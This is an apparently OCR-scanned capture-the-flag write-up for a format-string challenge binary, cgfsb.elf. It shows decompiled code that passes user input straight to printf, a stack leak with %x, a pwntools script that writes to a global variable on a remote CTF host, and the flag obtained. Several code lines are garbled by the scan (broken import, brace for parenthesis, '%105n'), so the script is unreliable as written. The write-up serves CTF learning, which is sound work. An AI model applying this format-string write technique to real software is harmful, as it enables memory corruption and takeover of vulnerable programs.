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wxy@ubuntu: S checksec cgfsb.elf
[*] '/home/wxy/Desktop/cgfsb.elf’

Arch: 1386-32-little
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wWxy@ubuntu: S cgfsb.e
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wxy@ubuntu:~/DesktopS ./cgfsb.elf
please tell me your name:

555

leave your message please:

555
hello sss
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memset(&s, ©, Ox64u);

puts(“please tell me your name:");
read(e, &buf, @xAu);

puts("leave your message please:");
fgets(&s, 100, stdin);
printf("hello %s", &buf);
puts(“"your message is:");

printf (&s )emmm—
if ( pwnme == 8 )
{

puts("you pwned me, here is your flag:\n");
system(“cat flag");
}

else

{
}

puts("Thank you!");
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wxy@ubuntu:~/Desktops .[fcgfsb.elf

please tell me your name:

555

leave your message please:

AAAA 56X 96X . %X . X . 6 . X . 36X . X . %6 . J6X . 96X 36X . %X . %6 . %X . %X

hello sss
your message 1is:
AAAA.TTOB646e.T7f535cO. ffo0864bc.T7f9ba%9c.1.f7f6d410.73730001.a73.0.41414141.2e78

252e.252e7825.78B252e78.2e7B252e.252e7825.78252e78
Thank you!
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from pwn import#
#a=process('./cgfsb.elf')

a=remote("111.198.29.45","30315")



a.recvuntil{"please tell me your name:")

a.send('sss')
a.recvuntil("leave your message please:")
dest=p32(0x0804A068)

a.send(dest+"aaaa%105n")

a.interactive()
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1217 Fexp, B8 ZIflag:

you pwned me, here is your flag:

xctf{4187335115bbe6073b29597b65c1a7dd}
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